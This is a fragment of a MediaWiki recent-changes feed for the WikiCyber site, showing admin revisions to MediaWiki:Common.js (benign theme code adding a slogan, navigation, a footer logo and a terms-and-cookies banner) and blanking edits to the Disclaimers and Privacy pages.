    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById(&#039;content&#039;); if (content) { content.setAttribute(&#039;tabindex&#039;, &#039;-1&#039;); content.focus({ preventScroll: true }); } });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=306</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=306"/>
		<updated>2026-10-16T20:33:20Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;);&lt;br /&gt;
    if (footer &amp;amp;&amp;amp; mw.config.get(&#039;wgIsMainPage&#039;)) {&lt;br /&gt;
      var tools = document.createElement(&#039;div&#039;); tools.className = &#039;wc-home-tools&#039;;&lt;br /&gt;
      tools.append(link(&#039;Page history&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;history&#039; })));&lt;br /&gt;
      if (mw.config.get(&#039;wgIsProbablyEditable&#039;)) tools.append(link(&#039;Edit Main Page&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;edit&#039; })));&lt;br /&gt;
      footer.append(tools);&lt;br /&gt;
    }&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById(&#039;content&#039;); if (content) { content.setAttribute(&#039;tabindex&#039;, &#039;-1&#039;); content.focus({ preventScroll: true }); } });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=305</id>
		<title>MediaWiki:Disclaimers</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=305"/>
		<updated>2026-10-16T20:33:20Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=304</id>
		<title>MediaWiki:Privacy</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=304"/>
		<updated>2026-10-16T20:33:19Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=303</id>
		<title>MediaWiki:Privacy</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=303"/>
		<updated>2026-10-16T20:32:40Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=302</id>
		<title>MediaWiki:Disclaimers</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=302"/>
		<updated>2026-10-16T20:32:39Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=301</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=301"/>
		<updated>2026-10-16T20:32:38Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var reset = document.createElement(&#039;button&#039;); reset.type = &#039;button&#039;; reset.className = &#039;wc-terms-reset&#039;; reset.textContent = &#039;Terms &amp;amp; cookies&#039;;&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;); if (footer) footer.append(reset);&lt;br /&gt;
    if (footer &amp;amp;&amp;amp; mw.config.get(&#039;wgIsMainPage&#039;)) {&lt;br /&gt;
      var tools = document.createElement(&#039;div&#039;); tools.className = &#039;wc-home-tools&#039;;&lt;br /&gt;
      tools.append(link(&#039;Page history&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;history&#039; })));&lt;br /&gt;
      if (mw.config.get(&#039;wgIsProbablyEditable&#039;)) tools.append(link(&#039;Edit Main Page&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;edit&#039; })));&lt;br /&gt;
      footer.append(tools);&lt;br /&gt;
    }&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });&lt;br /&gt;
    reset.addEventListener(&#039;click&#039;, function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=300</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=300"/>
		<updated>2026-10-16T20:32:37Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;);&lt;br /&gt;
    if (footer &amp;amp;&amp;amp; mw.config.get(&#039;wgIsMainPage&#039;)) {&lt;br /&gt;
      var tools = document.createElement(&#039;div&#039;); tools.className = &#039;wc-home-tools&#039;;&lt;br /&gt;
      tools.append(link(&#039;Page history&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;history&#039; })));&lt;br /&gt;
      if (mw.config.get(&#039;wgIsProbablyEditable&#039;)) tools.append(link(&#039;Edit Main Page&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;edit&#039; })));&lt;br /&gt;
      footer.append(tools);&lt;br /&gt;
    }&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById(&#039;content&#039;); if (content) { content.setAttribute(&#039;tabindex&#039;, &#039;-1&#039;); content.focus({ preventScroll: true }); } });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=299</id>
		<title>MediaWiki:Disclaimers</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Disclaimers&amp;diff=299"/>
		<updated>2026-10-16T20:32:36Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=298</id>
		<title>MediaWiki:Privacy</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Privacy&amp;diff=298"/>
		<updated>2026-10-16T20:32:36Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Update favicon and remove requested footer links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=297</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=297"/>
		<updated>2026-10-16T20:25:20Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var reset = document.createElement(&#039;button&#039;); reset.type = &#039;button&#039;; reset.className = &#039;wc-terms-reset&#039;; reset.textContent = &#039;Terms &amp;amp; cookies&#039;;&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;); if (footer) footer.append(reset);&lt;br /&gt;
    if (footer &amp;amp;&amp;amp; mw.config.get(&#039;wgIsMainPage&#039;)) {&lt;br /&gt;
      var tools = document.createElement(&#039;div&#039;); tools.className = &#039;wc-home-tools&#039;;&lt;br /&gt;
      tools.append(link(&#039;Page history&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;history&#039; })));&lt;br /&gt;
      if (mw.config.get(&#039;wgIsProbablyEditable&#039;)) tools.append(link(&#039;Edit Main Page&#039;, mw.util.getUrl(&#039;Main Page&#039;, { action: &#039;edit&#039; })));&lt;br /&gt;
      footer.append(tools);&lt;br /&gt;
    }&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });&lt;br /&gt;
    reset.addEventListener(&#039;click&#039;, function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
